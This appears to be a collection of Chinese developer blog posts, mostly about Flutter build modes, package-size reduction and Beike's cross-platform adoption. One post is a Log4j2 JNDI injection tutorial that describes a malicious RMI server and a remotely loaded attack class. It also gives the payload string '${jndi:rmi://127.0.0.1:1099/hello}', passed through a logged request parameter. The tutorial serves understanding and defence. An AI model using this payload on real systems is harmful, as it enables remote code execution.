Application Snapshot: JIT 模式,这种模式来源于 dart vm直接载入源码后 dump 出数据。dart vm 通过这种数据启动会更快。不过这种模式是区分架构的,在 X64 下生成的无法给 IA_32 用

AOT: AOT 模式,dart 源代码会被编译成汇编文件,汇编再经过汇编器生成不同架构下的二进制代码

用表格总结一下:

Dart’s compilation patterns
Dart’s compilation patterns

Flutter 的编译模式

Flutter 程序完全用 Dart, 理论上 Flutter 的编译模式应该和 Dart 的一致,事实上因为 Android 和 iOS 生态的差异,Flutter 衍生了不同的编译模式。

Script: 和 Dart 的 Script 模式一样,但是没有开启使用

Script Snapshot: 也是和 Dart 的 Script Snapshot 模式一样,也没有开启使用

Kernel Snapshot: Dart 的 bytecode 模式,在某种程度上类似 JVM。在 Flutter 项目中也被叫做 Core Snapshot,它是和设备架构无关的

Core JIT: 一种编译后的二进制格式,程序的数据和指令被打包成特殊的二进制,在运行时加载。事实上Core JIT 也被叫做 AOT Blobs, 是 AOT 的一种

AOT Assembly: 和 Dart 的 AOT 模式一样

所以在 Flutter 里会更复杂一点,我们结合 Flutter 的各个开发阶段来解读一下。

开发阶段

开发 Flutter APP 的时候,我们需要 HOT Reload 方便 UI 快速成型,同时也需要比较高的性能来进行视图渲染,所以 Flutter 在 Debug 下使用了 Kernel Snapshot 编译模式,会生成如下产物:

isolate_snapshot_data: 加速 isolate 启动的数据,和业务无关

vm_snapshot_data加速 Dart VM 启动的数据,和业务无关

kernel_blob.bin业务代码产物

compilation mode in debug stage
compilation mode in debug stage

发布阶段

在生产阶段,应用需要非常快的速度。所以 Flutter 使用了 AOT 编译模式,但是在不同的平台下,还是有些不一样的

compilation patterns in release stage
compilation patterns in release stage

在 iOS 平台由于 App Store 审核条例不允许动态下发可执行二进制代码,所以在 iOS 上,除了 JavaScript,其他语言都使用 AOT 编译。

但是在 Android 平台上,Core JIT 和 AOT Assembly 都支持了,在 Core JIT 模式下会生成四个产物:isolate_snapshot_data/vm_snapshot_data/isolate_snapshot_instr/vm_snapshot_instr

vm_snapshot_instr 和 isolate_snapshot_instr 是 Dart VM 和 isolate 的指令,在载入后,直接将该块内存执行即可。

isolate_snapshot_data 和 vm_snapshot_data 是 Dart VM 和 isolate 的启动数据,主要是为了加速启动速度。

Flutter Engine 支持情况

Flutter Engine 包含了 Dart 的运行时,Flutter 应用的编译产物必须和 Engine 匹配才行,Engine 在不同的阶段提供了不同的支持

通过 gen_snapshot -h 也可以查看到,Engine 对编译模式的支持,事实上 Dart 源码就是经过 gen_snapshot 去处理的。

AOT snapshots 也可以使用 obfuscated 选项开启混淆, --save-obfuscation-map=<filename> 保存符号 mapping 文件。

参考链接


macOS Big Sur(11.6.2) Android Studio (version 2020.3) 执行 flutter doctor 报错

在执行 flutter doctor --android-licenses 的时候报错:

原因为 Java 版本太高,Flutter 1.22.5 只能使用 Java 1.8版本:

对于错误

原因:

Android Studio(4.1)后,安装插件的位置发生了变化,但是flutter doctor还是去原先的位置找,导致的安装过插件还报错。

解决方法:

更简单的方式是执行

升级到 flutter 2.8.1 以及之后的版本即可。

参考链接


Log4j史诗级漏洞,从原理到实战,只用3个实例就搞明白!

背景

最近互联网技术圈最火的一件事莫过于Log4j2的漏洞了。同时也涌现出了各类分析文章,关于漏洞的版本、漏洞的原因、漏洞的修复、程序员因此加班等等。

经常看我文章的朋友都知道,面对这样热门有意思的技术点,怎能错过深入分析一波呢?大概你也已经听说了,造成漏洞的”罪魁祸首“是JNDI,今天我们就聊它。

JNDI,好熟悉,但……熟悉的陌生人?JNDI到底是个什么鬼?好吧,如果你已经有一两年的编程经验,但还不了解JNDI,甚至没听说过。那么,要么赶紧换工作,要么赶紧读读这篇文章。

JNDI是个什么鬼?

说起JNDI,从事Java EE编程的人应该都在用着,但知不知道自己在用,那就看你对技术的钻研深度了。这次Log4j2曝出漏洞,不正说明大量项目或直接或间接的在用着JNDI。来看看JNDI到底是个什么鬼吧?

先来看看Sun官方的解释:

Java命名和目录接口(Java Naming and Directory Interface ,JNDI)是用于从Java应用程序中访问名称和目录服务的一组API。命名服务即将名称与对象相关联,以便能通过相应名称访问这些对象。而目录服务即其对象具有属性及名称的命名服务。

命名或目录服务允许你集中管理共享信息的存储,这在网络应用程序中很重要,因为它可以使这类应用程序更加一致和易于管理。例如,可以将打印机配置存储在目录服务中,这样所有与打印机相关的应用程序都能够使用它。

概念是不是很抽象,读了好几遍都没懂?一图胜千言:

naming_service
naming_service

看着怎么有点注册中心的意思?是的,如果你使用过Nacos或读过Nacos的源码,Naming Service这个概念一定很熟悉。在JNDI中,虽然实现方式不同、应用场景不同,但并不影响你通过类比注册中心的方式来理解JNDI。

如果你说没用过Nacos,那好,Map总用过吧。忽略掉JNDI与Map底层实现的区别,JNDI提供了一个类似Map的绑定功能,然后又提供了基于lookup或search之类的方法来根据名称查找Object,好比Map的get方法。

总之,JNDI就是一个规范,规范就需要对应的API(也就是一些Java类)来实现。通过这组API,可以将Object(对象)和一个名称进行关联,同时提供了基于名称查找Object的途径。

最后,对于JNDI,SUN公司只是提供了一个接口规范,具体由对应的服务器来实现。比如,Tomcat有Tomcat的实现方式,JBoss有JBoss的实现方式,遵守规范就好。

命名服务与目录服务的区别

命名服务就是上面提到的,类似Map的绑定与查找功能。比如:在Internet中的域名服务(domain naming service,DNS),就是提供将域名映射到IP地址的命名服务,在浏览器中输入域名,通过DNS找到相应的IP地址,然后访问网站。

目录服务是对命名服务的扩展,是一种特殊的命名服务,提供了属性与对象的关联和查找。一个目录服务通常拥有一个命名服务(但是一个命名服务不必具有一个目录服务)。比如电话簿就是一个典型的目录服务,一般先在电话簿里找到相关的人名,再找到这个人的电话号码。

目录服务允许属性(比如用户的电子邮件地址)与对象相关联(而命名服务则不然)。这样,使用目录服务时,可以基于对象的属性来搜索它们。

JNDI架构分层

JNDI通常分为三层:

  • JNDI API:用于与Java应用程序与其通信,这一层把应用程序和实际的数据源隔离开来。因此无论应用程序是访问LDAP、RMI、DNS还是其他的目录服务,跟这一层都没有关系。
  • Naming Manager:也就是我们提到的命名服务;
  • JNDI SPI(Server Provider Interface):用于具体到实现的方法上。

整体架构分层如下图:

JNDI架构
JNDI架构

需要注意的是:JNDI同时提供了应用程序编程接口(Application Programming Interface ,API)和服务提供程序接口(Service Provider Interface ,SPI)。

这样做对于与命名或目录服务交互的应用程序来说,必须存在一个用于该服务的JNDI服务提供程序,这便是JNDI SPI发挥作用的舞台。

一个服务提供程序基本上就是一组类,对特定的命名和目录服务实现了各种JNDI接口——这与JDBC驱动程序针对特定的数据系统实现各种JDBC接口极为相似。作为开发人员,不需要担心JNDI SPI。只需确保为每个要使用的命名或目录服务提供了一个服务提供程序即可。

JNDI的应用

下面再了解一下JNDI容器的概念及应用场景。

JNDI容器环境

JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中。当使用时,调用容器环境(Context)的查找(lookup)方法找出某个名称所绑定的Java对象。

容器环境(Context)本身也是一个Java对象,它也可以通过一个名称绑定到另一个容器环境(Context)中。将一个Context对象绑定到另外一个Context对象中,这就形成了一种父子级联关系,多个Context对象最终可以级联成一种树状结构,树中的每个Context对象中都可以绑定若干个Java对象。

jndi-context-tree
jndi-context-tree

JNDI 应用

JNDI的基本使用操作就是:先创建一个对象,然后放到容器环境中,使用的时候再拿出来。

此时,你是否疑惑,干嘛这么费劲呢?换句话说,这么费劲能带来什么好处呢?

在真实应用中,通常是由系统程序或框架程序先将资源对象绑定到JNDI环境中,后续在该系统或框架中运行的模块程序就可以从JNDI环境中查找这些资源对象了。

关于JDNI与我们实践相结合的一个例子是JDBC的使用。在没有基于JNDI实现时,连接一个数据库通常需要:加载数据库驱动程序、连接数据库、操作数据库、关闭数据库等步骤。而不同的数据库在对上述步骤的实现又有所不同,参数也可能发生变化。

如果把这些问题交由J2EE容器来配置和管理,程序就只需对这些配置和管理进行引用就可以了。

以Tomcat服务器为例,在启动时可以创建一个连接到某种数据库系统的数据源(DataSource)对象,并将该数据源(DataSource)对象绑定到JNDI环境中,以后在这个Tomcat服务器中运行的Servlet和JSP程序就可以从JNDI环境中查询出这个数据源(DataSource)对象进行使用,而不用关心数据源(DataSource)对象是如何创建出来的。

JNDI-Tree
JNDI-Tree

这种方式极大地增强了系统的可维护性,即便当数据库系统的连接参数发生变更时,也与应用程序开发人员无关。JNDI将一些关键信息放到内存中,可以提高访问效率;通过 JNDI可以达到解耦的目的,让系统更具可维护性和可扩展性。

JNDI实战

有了以上的概念和基础知识,现在可以开始实战了。

在架构图中,JNDI的实现层中包含了多种实现方式,这里就基于其中的RMI实现来写个实例体验一把。

基于RMI的实现

RMI是Java中的远程方法调用,基于Java的序列化和反序列化传递数据。

可以通过如下代码来搭建一个RMI服务:

上述代码先定义了一个RmiService的接口,该接口实现了Remote,并对RmiService接口进行了实现。在实现的过程中继承了UnicastRemoteObject的具体服务实现类。

最后,在RmiServer中通过Registry监听1099端口,并将RmiService接口的实现类进行了绑定。

下面构建客户端访问:

其中,提供了两个参数Context.INITIAL_CONTEXT_FACTORY、Context.PROVIDER_URL,分别表示Context初始化的工厂方法和提供服务的url。

执行上述程序,就可以获得远程端的对象并调用,这样就实现了RMI的通信。当然,这里Server和Client在同一台机器,就用了”localhost“的,如果是远程服务器,则替换成对应的IP即可。

构建攻击

常规来说,如果要构建攻击,只需伪造一个服务器端,返回恶意的序列化Payload,客户端接收之后触发反序列化。但实际上对返回的类型是有一定的限制的。

在JNDI中,有一个更好利用的方式,涉及到命名引用的概念javax.naming.Reference。

如果一些本地实例类过大,可以选择一个远程引用,通过远程调用的方式,引用远程的类。这也就是JNDI利用Payload还会涉及HTTP服务的原因。

RMI服务只会返回一个命名引用,告诉JNDI应用该如何去寻找这个类,然后应用则会去HTTP服务下找到对应类的class文件并加载。此时,只要将恶意代码写入static方法中,则会在类加载时被执行。

基本流程如下:

RMI攻击流程
RMI攻击流程

修改RmiServer的代码实现:

由于采用的Java版本较高,需先将系统变量com.sun.jndi.rmi.object.trustURLCodebase设置为true。

其中绑定的Reference涉及三个变量:

  • className:远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载;
  • classFactory:远程的工厂类;
  • classFactoryLocation:工厂类加载的地址,可以是file://、ftp://、http:// 等协议;

此时,通过Python启动一个简单的HTTP监听服务:

打印日志,说明在8000端口进行了http的监听。

对应的客户端代码修改为如下:

执行,客户端代码,发现Python监听的服务打印如下:

可见,客户端已经去远程加载恶意class(Calc.class)文件了,只不过Python服务并没有返回对应的结果而已。

进一步改造

上述代码证明了可以通过RMI的形式进行攻击,下面基于上述代码和Spring Boot Web服务的形式进一步演示。通过JNDI注入+RMI的形式调用起本地的计算器。

上述的基础代码不变,后续只微调RmiServer和RmiClient类,同时添加一些新的类和方法。

第一步:构建攻击类

创建一个攻击类BugFinder,用于启动本地的计算器:

本人是Mac操作系统,代码中就基于Mac的命令实现方式,通过Java命令调用Calculator.app。同时,当该类被初始化时,会执行启动计算器的命令。

将上述代码进行编译,存放在一个位置,这里单独copy出来放在了”/Users/zzs/temp/BugFinder.class“路径,以备后用,这就是攻击的恶意代码了。

第二步:构建Web服务器

Web服务用于RMI调用时返回攻击类文件。这里采用Spring Boot项目,核心实现代码如下:

在该Web服务中,会读取BugFinder.class文件,并返回给RMI服务。重点提供了一个Web服务,能够返回一个可执行的class文件。

第三步:修改RmiServer

对RmiServer的绑定做一个修改:

这里Reference传入的参数就是攻击类及远程下载的Web地址。

第四步:执行客户端代码

执行客户端代码进行访问:

本地计算器被打开:

RMI Client
RMI Client

基于Log4j2的攻击

上面演示了基本的攻击模式,基于上述模式,我们再来看看Log4j2的漏洞攻击。

在Spring Boot项目中引入了log4j2的受影响版本:

这里需要注意,先排除掉Spring Boot默认的日志,否则可能无法复现Bug。

修改一下RMI的Server代码:

这里直接访问BugFinder,JNDI绑定名称为:hello。

客户端引入Log4j2的API,然后记录日志:

日志中记录的信息为“${jndi:rmi://127.0.0.1:1099/hello}”,也就是RMI Server的地址和绑定的名称。

执行程序,发现计算器被成功打开。

当然,在实际应用中,logger.error中记录的日志信息,可能是通过参数获得,比如在Spring Boot中定义如下代码:

在浏览器中请求URL为:

其中username参数的值就是“${jndi:rmi://127.0.0.1:1099/hello}”经过URLEncoder#encode编码之后的值。此时,访问该URL地址,同样可以将打开计算器。

至于Log4j2内部逻辑漏洞触发JNDI调用的部分就不再展开了,感兴趣的朋友在上述实例上进行debug即可看到完整的调用链路。

小结

本篇文章通过对Log4j2漏洞的分析,不仅带大家了解了JNDI的基础知识,而且完美重现了一次基于JNDI的工具。本文涉及到的代码都是本人亲自实验过的,强烈建议大家也跑一遍代码,真切感受一下如何实现攻击逻辑。

JNDI注入事件不仅在Log4j2中发生过,而且在大量其他框架中也有出现。虽然JDNI为我们带来了便利,但同时也带了风险。不过在实例中大家也看到在JDK的高版本中,不进行特殊设置(com.sun.jndi.rmi.object.trustURLCodebase设置为true),还是无法触发漏洞的。这样也多少让人放心一些。

另外,如果你的系统中真的出现此漏洞,强烈建议马上修复。在此漏洞未被报道之前,可能只有少数人知道。一旦众人皆知,跃跃欲试的人就多了,赶紧防护起来吧。

参考链接


KiCad封装/元件库(footprint)

在使用KiCAD的时候,如果官方自带的封装库(footprint)缺少元器件的封装,我们可以在一些第三方库中查找。

In addition to the official KiCad libraries, there are other, third party sources for KiCad library packages.

While the following links may be useful sources of library packages, they are not maintained or endorsed by the KiCad project.

Digi-Key

Digi-Key maintains an atomic parts library for KiCad on their GitHub page. These libraries are licensed under an agreement similar to the official libraries.

Octopart

Octopart provides individual KiCad symbols and footprints for many components in their extensive library of components.

SparkFun

SparkFun Electronics provide KiCad library files for many of their products on their GitHub page. These libraries are based on the SparkFun Eagle libraries.

SnapEDA

SnapEDA provides KiCad symbol and footprint libraries for their customers. The libraries are freely available and can be found on their KiCad library page. The library license can be found on their terms of service page.

PCB Libraries

PCB Libraries offers their Professional Edition PCB Footprint Expert product to KiCad users for no cost. Instructions for setting up the Professional Edition license key are available in their documentation.

嘉立创/立创商城KiCad元件库

https://github.com/xtoolbox/lc_kicad_lib

参考链接


贝壳跨端之路——从 0 到 1 接入 Flutter 实战

一门新技术的兴起,必定是为了要解决现有技术解决不了的难题。跨端技术也遵循这一规律。传统的纯原生开发已经满足不了日益增长的业务需求,而跨端技术的产生就是为了要解决这一难题,具体表现在动态化内容需求增大和业务需求变化快、开发成本变大这两大方面。

跨端技术的变革

跨端最开始起源于浏览器。在 App 内使用 Native 的 Webview 来加载 Html5 页面,这是移动端最开始的跨端实践。接着,为了使 Html5 页面能够更多地使用底层 SDK 或者补充性功能,Hybird 开始流行起来。此后,各种各样的跨端框架也随之流行而来, 例如 PhoneGap、AppCan。

2015 年 4 月,Facebook 发布了 React Native,主张“Learn once, write everywhere”,采用 Javascript 开发 + 原生渲染技术,类似的还有 Weex 和快应用。同年 Flutter 也发布了,不过当时关注的人较少,直到 2018 年的 1.0 版本发布,关注和使用的人才多了起来。

贝壳决定建设跨端能力

2018 年,由于贝壳公司内部业务发展较快、需求较多,贝壳开始做平台化能力建设,但因缺乏跨端能力,贝壳开始考虑跨端能力方面的建设。综合了团队构成、业务特点、团队经验以及业界的动态等因素,贝壳成立了 Flutter 架构小组(以下统称小组)。

之后,赵宏伟带着小组成员开启了贝壳跨端探索之旅。那么在这场旅途中,贝壳在接入 Flutter 的过程中都进行了哪些探索呢?为此,InfoQ 邀请到了 Flutter 架构小组负责人赵宏伟以及小组成员肖鹏、裴伟来跟大家一起聊聊贝壳的 Flutter 接入实践。

相比其他跨端框架,Flutter 虽有一定的优势,但刚开始,贝壳并没有直接就选用 Flutter。

“当时组内准备考虑一些跨平台的方案做一些小的尝试和调研。后来,到 2018 年底,Flutter1.0 发布,小组开始对跨端方案进行了深度调研。起初,组内是对 RN 和 Flutter 做调研,FE 团队(贝壳前端团队)负责 Weex 的调研和使用。”赵宏伟回忆到。

经过调研之后,Flutter 架构小组首先放弃了 RN。原因如下:

1.渲染通信路径长。React Native 的逻辑层和 UI 的描述层都在 js;

2.React Native 跨端技术的实现思路是适配,两个移动端(iOS 和 Android)仍然存在很多组件差异;

3.React Native 的页面层级问题;

4.动态化需求不多;

5.有一些公司宣布放弃 React Native,以及 React 许可的一些问题,不确定性较多。

对于 Weex,贝壳前端同学在某些业务上做了部分实验,得到的结论是「效果一般」,没有对他们整个前端的行为有多大改变,因此也放弃了 Weex。而对于 Flutter,首先 Flutter 主打的自渲染,UI 到逻辑都是自身一套;其次 Flutter 基于对应平台独立编译,更适合对应平台的运行,并且支持多平台;最后,Flutter 支持 JIT 和 UT 模式,既能兼顾开发效率,也能兼顾运营效率。

基于以上调研与考虑,贝壳最终选择了 Flutter。

选定跨端框架,接下来就是为接入做准备了。我们了解到贝壳在接入 Flutter 的过程中,整个项目经历了 3 个阶段。

正式开启跨端之旅

据赵宏伟透露,第一个阶段他们的目标是快速落地验证。在此阶段中,他们也遇到了两个难题。第一是如何保证既能进行 Flutter 开发,又不影响非 Flutter 开发人员,并且官方的既有工程集成方案对他们的工程侵入性较大,如果按照最原始的方式打包效率也比较低,因此他们设计了自己的集成方案; 第二是 Flutter 层面需要组件化,小组内部也设计了组件化方案来解决快速落地问题。

在以上问题得到解决之后,他们在部分业务进行快速实验,“当时的业务场景下反馈还不错。”赵宏伟说。接下来就来到第二阶段。在这一阶段中,他们更全面注重开发和用户体验。因此,他们将建设分为了三部分。

第一部分是 Flutter 在持续集成方面建设;

第二部分是业务开发核心基础库能力建设(标准化);

第三部分是容灾降级及稳定性方面的建设。

完成了以上三部分的建设,项目就到了第三阶段,贝壳 Flutter 架构组开始进行多端一体化能力建设。2020 年,小组针对 Flutter for web 做了一些研究,并做出了贝壳 Flutter For web 的容灾降级系统。

“今年(2021 年)我们一直在研究 Flutter 多端一体化方案, 官方也在 2.0 中主推了 web 方向的应用,目前主要是在优化 Flutter For web 的应用体验,包括加载和部署优化,内存优化,三端一体化的核心基础补充以及监控埋点能力补充。我们内部的监控系统一部分 Web 页面也是使用 Flutter 来开发的。”赵宏伟说。

截止到采访时,贝壳 80%(24 款)的 App 已经接入了 Flutter。

当提到这么多 App 接入 Flutter 之后带给贝壳的收益时,赵宏伟兴奋地说:“效率,这个是我们最直观的感觉,整个 2020 年贝壳所有业务线都参与过 Flutter,一致的感受都是效率,以前两个人开发,现在一个人就可以完成。”

除了最直观的效率上的提升,贝壳还做了一整套的标准化 UI 组件(UI 组件 160+,业务组件 30+),这是属于他们的技术创新。并且参与此项目的成员在 Flutter 容器、Aop 编译、监控、UI 自动化和动态化等相关研究中还积累了大量的技术经验,进一步提升了个人技术能力。此外,据小组成员萧鹏描述,他们还将这些 UI 自动化的创新技术整理成文章进行了输出,把创新技术分享给更多有需要的开发者们。

Flutter 的成功接入,虽然让贝壳在跨端能力方面的建设得到了很大的提升,但有些问题,目前小组仍没有较好的解决方案,首先就是内存问题。当提到内存时,赵宏伟略显苦恼。“除了容器自身的内存,还有图片的一些边界场景和释放,以及一些三方图片库存在图片释放和图片过大的 Crash 问题。”赵宏伟说。

针对这一问题,贝壳采用了共享引擎和图片纹理方案来管理 Flutter 图片缓存,虽然得到了很大的改善,但当业务场景中出现多容器时,容器消耗内存仍然不小。再者是 Platform View 和渲染问题,Flutter 在 Platform View 上有一部分内存和适配问题。据了解,这些问题需要深入到引擎内部,更改成本较高,贝壳便没有过多的干预,而是选择了积极适配新版。最后是动态化问题,在 iOS 侧,小组内部没有比较好的动态化方案,目前只保证维护好性能和低成本。

除了以上的一些问题,据赵宏伟透露,贝壳在引入 Flutter 之后,还产生了一些新问题。主要体现在以下几点:

一、集成问题

首先是在第一阶段的集成方案不够完善,RD 反馈调试较为困难,QA 反馈打包时间长,错误率高。其次是配置问题,因小组内部在 Flutter SDK 上做了定制,所以配置起来就比较困难;再加上多个项目的 Flutter SDK 版本不一致,开发人员需要手动组合 Flutter tools 和 Flutter SDK,这一过程增加了成本;还有在打包的时候,需要先将项目在制定打包机上打包,再在主包上打包,这个时间就比较长。于是,他们就重新做了一版集成方案,并开发了 Flutter SDK 自动化集成更新方案,目前在 Flutter、Dart 编译部分就如同一个 target 任务,和其他代码一起进行并发编译,大大提高了效率。

二、包大小问题

在 C 端落地时候,贝壳更加关注包大小。贝壳当时接入的 Flutter1.12.13,其包大小一度达到 30MB,业务方紧急要求瘦身,因此 Flutter 架构小组通过改造 Flutter 编译器以及 Flutter Engine 对 Flutter 产物数据段做了分离压缩,可以内置,可以远程下发,并去掉符号表和无用文件,将包体积从 30MB 缩小到 17MB。在后续的规划中,赵宏伟说:“我们会结合 Flutter for Web 方案,在远程下发失败后动态转到 for Web 页面,提高页面打开成功率,保证业务正常流转。”

当在使用 Flutter for Web 时,Flutter 会将所有的业务打包成一个整包,但对于单独访问一个页面的场景,加载就会比较慢,为解决这一问题,小组对整个包进行了拆分,并把资源上传到 CDN 来解决加载问题。

三、异常监控问题

在做异常监控时,在瘦身模式下,获取的堆栈是没有办法被解析的,很多都是系统堆栈问题,没有办法进一步解决,并且很多都是没用的堆栈,无法将问题细致化。针对这一问题,贝壳做了一套后端的分流解析服务。这套服务首先是将 Flutter Exception 进行符号化,然后对堆栈进行分析,去掉无用和白名单内的堆栈行后进行归因,如果归不到业务方,再采取页面分流的方式,来达到异常监控的效果。

四、图片导致的内存问题

Flutter 本身内存方面消耗比较严重,而自己又是一套独立的图片缓存,因此,在大图片场景下,加上 Native 的图片内存占用,整体图片导致的内存问题比较多。面对这一问题,贝壳采用了外接纹理方案,让 Flutter 和 Native 共享一份图片缓存,以及在大图场景下使用外接纹理方案进行边界处理,这对内存都做了比较好的优化。

除了以上的一些问题,还有一个比较大的挑战。“在引入 Flutter 之后,当面对产品经理的提出的一些交互效果,Flutter 本身技术能力又无法支持时,就需要小组内部去找其他的解决方案来解决,可能会考虑原生,或同时使用原生安卓来做。”小组成员裴伟补充道。

虽然产生了以上这些新问题,但好在小组内部也提出了相应的解决方案。同时,贝壳也一直在寻找更优的解决方法。

贝壳 Flutter 的成功接入也让贝壳开发团队的开发效率得到了跨级别的提升。但在此过程中,贝壳也遭遇到过一个“灵魂拷问”—— 效率 or 体验?

一个永恒的话题—— 要效率,还是要体验?

 一款产品,一个 App 被生产出来,就一定是为了满足用户的某种需求,被人们使用的,因此用户体验要好。而对一个公司而言,一个高效率的组织形式也非常重要,高效的开发可为公司解决人力、财力等各方面的问题。当问到在接入 Flutter 的过程中,贝壳是如何权衡效率和体验的问题时,赵宏伟的回答是比较明确的。

“像直播、视频、地图这一类的,不建议使用 Flutter,其他的在使用 Flutter 时,该提效的就提效,该注重体验就注重体验。当然每个 App 也有自己的着重方向,要根据自己的场景去舍弃效率或者体验。”赵宏伟表示。

在面对贝壳的业务场景时,贝壳引入 Flutter 的关键目标就是要解决开发效率问题。因此,为了进一步提高开发效率,贝壳也做了接下来的打算。首先是研究多端一体化,即将 Flutter 能够应用到 web 上,包括加载、部署优化、内存优化,以及三端一体化的核心基础补充和监控埋点能力补充。目前也在研究中。

其次是在应用上,贝壳内部会有一些 Native 和 Html5 的业务要做。Html5 主要面向站外,贝壳希望能够用一套代码解决三端需求,这样提效会更进一步。赵宏伟接着说:“我们可能会考虑 Flutter 在 VR 渲染上的一些应用,不过目前还在设想阶段。”

除此之外,贝壳对新的 OS,比如 鸿蒙,在兼容模式下也做了适配,并开始着手做了一些准备。“当然也要配合公司的产品策略,是否大范围的适配跟进。”赵宏伟补充到。

写在最后

本次的 Flutter 接入实战,不仅解决了贝壳的“效率提升”问题,还见证了贝壳从 0 到 1 的跨端能力建设。从最初不够完善的基础建设,到引入 Flutter 过程中所遇到的各种困难,贝壳都在实践过程中努力寻找解决方案并构建了一些属于贝壳的创新技术。

参考链接


Apple Store审核规则&应用动态化规定

苹果应用商店应用上架规则地址:https://developer.apple.com/app-store/review/guidelines/

其中,涉及到应用动态化的规定内容如下:

苹果应用开发者许可协议地址:https://developer.apple.com/cn/support/terms/

其中,涉及到应用动态化的规定内容如下:

参考链接


贝壳Flutter瘦身实践

开源地址

背景

贝壳找房内部大部分的 App 都已经接入了 Flutter,而且公司在跨端方案的选择上在大力发展 Flutter 生态体系,越来越多的团队也在使用 Flutter,Flutter 虽然能带来高人效和高性能的体验,同时也导致包体积增加,包体积的增加会给我们的推广增大难度,所以我们迫切需要一套针对 Flutter 的通用瘦身方案。

现状:

以一个空工程为例,Flutter 产物主要包含两部分,App.framework 和 Flutter.framework 这两个库,这两个库达到了 16M,对我们的包体积优化会带来不小的压力,所以我们立项了 Thin-Flutter 项目,主要是为了所有 App 提供一套 Flutter 通用的瘦身方案。(由于安卓侧有比较多的手段来实现瘦身,所以本篇文章主要针对 iOS)

对于包大小问题,Flutter 官方也在持续跟进优化:

  • Flutter V1.2 开始支持Android App Bundles,支持 Dynamic Module 下发。

  • Flutter V1.12 优化了2.6% Android 平台 Hello World App 大小(3.8M -> 3.7M)。

  • Flutter V1.17 通过优化Dart PC Offset存储以减少 StackMap 大小等多个手段,再次优化了产物大小,实现18.5%的缩减

  • Flutter V1.20 通过Icon font tree shaking移除未用到的 icon fonts,进一步优化了应用大小。

  • Flutter V2.2.2 并没有明显的措施

我们以贝壳 flutter 产物为例(Flutter SDK : 1.22.4)

App.framework 总大小 20.8M

Flutter.framework 总大小 7.7M

我们先来分析 Flutter 的产物构成,通过对编译命令优化后,产物如下(Release 模式):

App.framework:其中两个文件占比较大,一个是 App 可执行文件,另一个是 flutter_assets. App 可执行文件是 Dart 侧业务代码 AOT 编译的产物,会随着业务量的增多而变大,flutter_assets 包含图片、字体等资源文件。

Flutter.framework:  引擎产物,大小是固定的,但是初始占比比较大。这部分能优化的空间很小,主要是通过裁剪引擎不需要的功能,减少体积。编译引擎时可以选择性编译 skia 和 boringssl,收益大概只有几百 K。

经过对比,iOS 和 Flutter 代码量增长对于包体积的影响是有很大区别的,由于 Flutter 的 Tree Shaking 机制,未被引用的代码都会被裁剪掉,这个机制 iOS 里是没有的,那么这个机制所造成的影响就是 Flutter 包体积在初期会极速增加,到一个临界点包体积的增加会趋于平缓。

贝壳瘦身方案

一、方案调研:

包体积瘦身方法论,大概就三种,要么删减,要么压缩,要么挪走,对于删减 Flutter 自带有 tree-sharking 机制,也就是没有用到的代码会自动裁剪,所以删减不会有太明显的效果,对于压缩,各个团队都会不定时压缩图片,所以不能作为主方案,那么想要有明显的瘦身效果,最好的方面很明显是挪了。下面是一些常用的瘦身方案:

  • 通过打包命令删减

—split-debug-info 可以分离出 debug info

—strip 去除无用符号

—dwarf_stack_trace 表示在生成的动态库文件中,不使用堆栈跟踪符号

—obfuscate 表示混淆,通过减少变量名/方法名的方式减小代码体积

  • 减少显示类型转换操作

as  String/Bool 等等,这类操作会导致 App.framework 体积显著增加,主要是他会增加类型检测及抛出异常的处理逻辑。

  • Flutter 引擎删减及符号化分离

Flutter 引擎中包括了 Dart、skia、boringssl、icu、libpng 等多个模块,其中 Dart 和 skia 是必须的,其他模块如果用不到倒是可以考虑裁掉,能够带来几百 k 的瘦身收益。业务方可以根据业务诉求自定义裁剪。

  • 无用代码及无用资源删除

这个不用过多解释,这种直接删代码删资源的方案是最常见的,但投入回报比并不高。

除了给各个业务线分配瘦身指标之外,通过其他方式达到了非常不错的瘦身效果,主要包括以下几方面:

  1. 去除符号化文件

  2. Flutter 产物数据段及资源文件动态下发

  3. 其他方式:包括去除无用文件、无用资源等

二、具体实现:

贝壳希望有一套长期有效的瘦身方案,以及监控体系,所以贝壳的瘦身方案包括两方面,一是包大小分析及监控,二是通用的,对业务同学无感知的瘦身方案。

1.监控

为了让 Flutter 包大小结构更加一目了然,我们将 Flutter 包大小进行了线上可视化。

首先,我们对 flutter_tools 了修改,在打包过程中我们会收集各个 Flutter 组件中二进制和资源的大小并写入文件(这里的实现我们参考了 flutter_tools 中 analyze_size.dart 的代码),打包完成后会将包大小分析文件上传至服务器;然后,我们在后端对上传的包大小文件进行分析,并将各个组件对应到相应的业务线;最终,我们将分析过后的包大小文件在前端进行展示。除了展示各组件和业务线的大小之外,我们还提供了 Flutter 包大小的对比功能,这样就可以更清晰的看到各个组件和业务线的前后大小变化。

有了包大小的分析,我们就可以根据各业务线和组件的不同情况制定不同的瘦身目标。

与此同时,我们可以对包大小的变化有一个长期的监控,可以及时发觉增量大的组件或者业务方,及时做出调整。

2.瘦身方案

2.1.去除符号化文件

贝壳通过 podspec 注入命令的方式,将 debug 符号信息剥离到指定目录,但这样会产生一个新的问题,Flutter 侧 error 无法解析,因此,我们在编译的同时将符号文件和 uuid 唯一标识绑定上传后端归档,在 App 的 Flutter 页面发生异常时,动态获取当前运行 app App.framework 组件的 uuid 标识,连同异常堆栈上报,后端根据 uuid 匹配符号文件,并解析异常堆栈,这部分可以瘦身 1.3M 左右。

以下是 Flutter error 的解析流程图:

由各个业务方梳理无用页面及无用资源文件、图片压缩等等,其中无用代码及无用资源删减有 2M 的收益,图片压缩有 800k 的收益。

我们完成剪裁以后,还需要进一步研究其他瘦身手段,比如动态下发。

2.2Flutter 产物数据段及资源的动态下发

是否可以将两个动态库 App.framework 和 Flutter.framework 全部动态下发?答案是不行的,原因是由于 iOS 系统的限制,可执行文件是不可以动态下发的。

那我们进一步分析,哪些东西是可以动态下发的,哪些东西是不可以动态下发的。参考图 1,首先 flutter_assets 和 icudtl.dat 是资源文件,不存在权限的问题,所以可以动态下发,那么除了这些资源文件,其他部分是否可以动态下发呢?我们接着看。

实现环境:Flutter SDK 2.2.2(目前 Flutter 官方已经发布了 Flutter 2 版本,贝壳也已经适配了 Flutter2.2.2 版本,因此后面基于 Flutter2.2.2 版本进行分析)首先我们看下 Flutter 是如何编译出产物的。

App.framework 的可执行文件经过编译命令优化后,主要由以下四部分构成:

